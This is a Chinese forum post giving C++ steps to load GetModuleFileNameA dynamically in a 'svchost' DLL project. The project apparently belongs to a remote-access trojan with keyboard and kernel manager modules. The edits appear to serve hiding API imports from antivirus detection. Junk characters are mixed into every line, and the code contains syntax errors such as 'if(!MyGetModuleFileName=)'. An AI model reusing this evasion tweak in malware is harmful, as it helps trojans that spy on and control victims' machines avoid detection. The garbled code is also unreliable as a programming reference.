返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记& Y1 v2 m: [- r# ~! R
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
- }% p, D' u7 C----------------------------------------
2 c4 C7 V* h) ]! aDTDY.h:
9 i9 b7 Y+ f' ~8 ?8 M! q4 Q% G; ?5 R4 w) X
#if _MSC_VER>1000
8 J4 l) @9 s0 m' d$ q  y6 S# I#pragma once
4 g, D( M8 ?8 `/ ^3 H: K#endif //_MSC_VER>10007 C3 u4 z, K6 M
#include<windows.h>+ q4 f  {! }  o" L4 D1 D

( k8 u% D8 Z6 a7 R1 wtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);# l. ?# A- S$ n+ k  Z. t* n! r/ }2 D
class DTDY' S) h6 E6 u2 `) L
{
0 L5 m! ]/ i% h1 s5 g( U% k( qpublic:
. |, a" l! f3 V7 ^2 j' {/ RDTDY();
* q. F( D, n8 }' E7 L2 b  A5 hvirtual ~DTDY();
4 P: e+ l1 c. Upublic:
( B2 Q! g# d0 W! v+ dstatic pGetModuleFileNameA MyGetModuleFileName;
# `& a: I  w4 ~8 n4 o  E2 V" hstatic BOOL FunInitiallization();
  l& v- N# X7 i# c0 b' Q5 ?* s/ l};2 ^6 t5 Z: _; r1 j3 X; V: N  N- U* ]- j
#endif
: I7 g5 f" p, f# v----------------------------------------% ]( v$ ]1 e* M: V8 u1 Z. i
  }2 v% @+ \) ~* t$ v* L! `0 T% t
DTDY.cpp:- K) D4 {9 G- u

; |' f/ ?, U# g#include "DTDY.h"
9 K/ ^! A$ l0 opGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;, T/ a1 D: Z2 K0 I
DTDY:TDY()
8 X: R4 b( v/ I; b7 t! f& C; x! |6 B{
. W! q% O, e' U' O( D7 _}
# S5 B! y) d# |: f+ ]DTDY::~DTDY()
1 ]; B6 y  W: c. i{' {, w: f0 [. H. z/ }
}, A% f/ y$ k# X# P2 w
BOOL DTDY::FunInitiallization()! Z0 \1 s: N) s: b2 N3 x
{3 r. R& m2 A- K5 }5 J( ^) b
HMODULE hModule=LoadLibrary("kernel32.dll");) T8 }3 z+ K: v& i! K! l; _9 M
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
, _0 b( u: t, P+ X2 Vif(!MyGetModuleFileName=) return FALSE;
& I8 o$ p5 V: s3 L! ~! b6 X( l  r4 F8 c2 o( P
return TRUE;& @& N) V' y$ I9 B& o8 @' P3 B
}0 r3 I$ `; A9 F( U5 s2 W, y
----------------------------------------0 l3 q$ A$ C6 X5 u
svchost.cpp:0 N; z' k& a% h2 n! q

" e; y/ A2 ]! n, C#include "DTDY.h"9 g8 b& i/ S( M+ }, Y  k
; v! ~2 J; q. |3 H, Y9 m# V
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)" J  G6 _; V( ?0 ^5 K. H3 z
{2 w* H% t# I5 d' ?/ P
switch(ul_reason_for_call); G' d- ^1 P+ Q- u# F: g
{) c& s4 \1 R: b. n) t
case DLL_PROCESS_ATTACH:
; b7 U# u2 Y4 e! O& a0 Qif(!DTDY::FunInitiallization()) return FALSE;
* g6 @, L: b3 x8 |; C7 A. `+ k) z
2 p0 r* Q6 W7 x" k  Gbreak;% M+ m0 U  Q1 m, o3 M: C
}
' r" ?8 ~0 h- N! d+ S}" P5 y! I( D; z' h/ X) [

) D& C5 @3 p* S, G/ X# S
; C; e; t# S& D$ L) {GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def& @: c5 D1 d- ~& I) q
改写为
, r) c; K3 C5 ?2 [) x& u- M+ g1 oDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
+ V- z/ c$ J4 M2 b----------------------------------------
* _$ Z$ i4 k/ G5 @' @. U  `KernelManager.cpp:2 D8 e) B; m8 [  `# S% V( c5 u- R

2 C1 o2 e, d% `! J) v2 I1 q#include "../DTDY.h"
; e( E( `0 }. L# }GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
, ^0 g' ^  s+ \: D$ P* G2 m改写为5 `6 k3 O5 X" S9 L3 j
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
2 G" N% h4 P- m9 ]----------------------------------------

返回列表